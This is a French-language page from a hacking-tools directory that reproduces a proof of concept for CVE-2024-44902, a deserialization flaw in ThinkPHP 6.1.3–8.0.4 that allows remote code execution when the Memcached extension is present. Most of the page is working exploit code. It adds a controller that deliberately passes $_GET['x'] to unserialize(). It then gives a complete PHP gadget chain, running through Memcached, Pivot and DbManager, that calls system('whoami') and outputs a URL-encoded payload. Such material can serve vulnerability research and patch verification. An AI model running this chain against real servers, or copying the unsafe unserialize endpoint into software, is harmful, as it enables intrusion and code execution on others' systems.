Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-44902 — Preuve de concept pour CVE-2024-44902, une vulnérabilité de désérialisation dans ThinkPHP v6.1.3–v8.0.4 permettant l'exécution de code à distance via des charges utiles conçues lorsque l'extension Memcached est installée. | Kitploit
Outils/GitHubGitHub/fru1ts/cve-2024-44902
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubfru1ts/cve-2024-44902

CVE-2024-44902

Preuve de concept pour CVE-2024-44902, une vulnérabilité de désérialisation dans ThinkPHP v6.1.3–v8.0.4 permettant l'exécution de code à distance via des charges utiles conçues lorsque l'extension Memcached est installée.

Voir le dépôt
62il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-44902

Description de la vulnérabilité

Une vulnérabilité de désérialisation dans Thinkphp v6.1.3 à v8.0.4 permet aux attaquants d'exécuter du code arbitraire.

Versions concernées

Thinkphp v6.1.3 à v8.0.4

Condition d'exploitation

Le framework thinkphp doit avoir l'extension Memcached installée.

Preuve de vulnérabilité

  • Environnement de test : php8.0.7+thinkphp8.0.4+memcached3.2.0.

Tout d'abord, ajoutez un nouveau point de terminaison de désérialisation dans app\controller\Index.php, comme suit :

root@kitploit:~
<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        unserialize($_GET['x']);
        return '<style>*{ padding: 0; margin: 0; }</style>';
    }

    public function hello($name = 'ThinkPHP8')
    {
        return 'hello,' . $name;
    }
}

Vous pouvez générer la charge utile à partir de :

root@kitploit:~
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
    protected $options=[];
    function __construct()
    {
        $this->options["username"]=new Pivot();
    }
}

namespace think\model;
use think\model;
class Pivot extends Model
{

}

namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    function __construct()
    {
        $this->data["fru1ts"]=["whoami"];
        $this->withAttr["fru1ts"]=["system"];
        $this->json=["fru1ts"];
    }
}

namespace think\route;
use think\DbManager;
class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    function __construct()
    {
        $this->registered=false;
        $this->resource=new DbManager();
    }
}
namespace think;
use think\model\Pivot;
class DbManager
{
    protected $instance = [];
    protected $config = [];
    function __construct()
    {
        $this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
        $this->config["default"]="getRule";
    }
}

use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));

L'utilisation de la charge utile pour désérialiser peut entraîner une exécution de code à distance (RCE) :

image-20240905234416317

Télécharger l’outil